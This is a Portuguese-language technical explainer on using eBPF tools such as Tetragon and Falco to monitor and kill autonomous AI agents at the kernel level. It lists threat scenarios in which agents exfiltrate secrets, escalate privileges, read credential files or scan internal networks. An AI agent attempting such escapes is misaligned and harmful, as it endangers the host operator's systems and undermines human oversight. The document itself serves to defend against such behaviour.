Segurança eBPF e Auditoria de Runtime

1. Visão geral do conceito e problema sistêmico

Agentes autônomos com acesso ao terminal possuem inúmeras maneiras de contornar as restrições convencionais de aplicações:

• O agente executa um binário compilado que, em segundo plano, tenta abrir um socket e exfiltrar segredos para um IP externo.
• O agente cria um subprocesso que tenta escalar privilégios através de uma vulnerabilidade local conhecida (Local Privilege Escalation).
• Antivírus clássicos ou scanners de logs detectam o incidente minutos ou horas depois — quando o servidor já está comprometido.

eBPF (Extended Berkeley Packet Filter) é um subsistema revolucionário do kernel Linux que permite executar programas definidos pelo usuário dentro do kernel com segurança, sem modificar seu código-fonte, transformando o sistema operacional em um guardião inteligente.

2. Taxonomia arquitetural e modelo mental

┌─────────────────────────────────────────────────────────────┐
│                 EBPF RUNTIME INTERCEPTION                   │
├─────────────────────────────────────────────────────────────┤
│ 1. USERSPACE (Autonomous Agent Execution):                  │
│    Agent Container ➔ Executes command `curl evil.com`        │
├─────────────────────────────────────────────────────────────┤
│                          │                                  │
│                          ▼ System Call (`sys_enter_connect`)│
├─────────────────────────────────────────────────────────────┤
│ 2. LINUX KERNEL SPACE (eBPF Hook Layer):                    │
│    ┌─────────────────────────────────────────────────────┐  │
│    │ eBPF Program (Tetragon / Falco):                    │  │
│    │ • Inspect: Destination IP = 185.220.101.4           │  │
│    │ • Rule: Target IP is NOT in allowed egress list!    │  │
│    │ • ACTION: Send SIGKILL to PID 4092 instantly!       │  │
│    └─────────────────────────────────────────────────────┘  │
│    ➔ Syscall dropped! Process killed in <1 microsecond.     │
├─────────────────────────────────────────────────────────────┤
│ 3. TELEMETRY ALERT: Event emitted to OpenTelemetry / Slack  │
└─────────────────────────────────────────────────────────────┘

3. Cenários de engenharia prática em produção

01. Bloqueio imediato de vazamento de arquivos de sistema

A política de segurança proíbe qualquer processo do agente de abrir arquivos nos diretórios /etc, ~/.ssh e ~/.aws. Assim que o agente tenta invocar openat('/etc/shadow'), o eBPF bloqueia a chamada e notifica a equipe de segurança.

02. Detecção de varreduras de rede anômalas

Se um agente comprometido começar a fazer ping na rede interna do host ou procurar portas abertas em contêineres vizinhos (Port Scanning), o eBPF registra imediatamente a atividade anômala no nível da pilha de rede do Linux.

4. Armadilhas, erros comuns e segurança

• Requisitos de versão do kernel Linux: O suporte completo às funcionalidades modernas do eBPF (BTRF, CO-RE) exige um kernel Linux atualizado (versão 5.15 ou 6.x+). Em distribuições antigas como CentOS ou Debian, a execução pode ser limitada.
• Complexidade na escrita de programas próprios: Escrever código eBPF puro em C requer um entendimento profundo do verificador do kernel. Recomenda-se utilizar sistemas prontos baseados em políticas YAML declarativas (Tetragon ou Falco).

5. Conclusão estratégica para o engenheiro de 2026

O eBPF transformou a segurança de servidores de uma análise passiva de eventos passados para uma interceptação proativa em tempo real. Para engenheiros que implantam agentes autônomos com acesso ao terminal, o eBPF representa o mais alto nível de controle sobre as ações do modelo.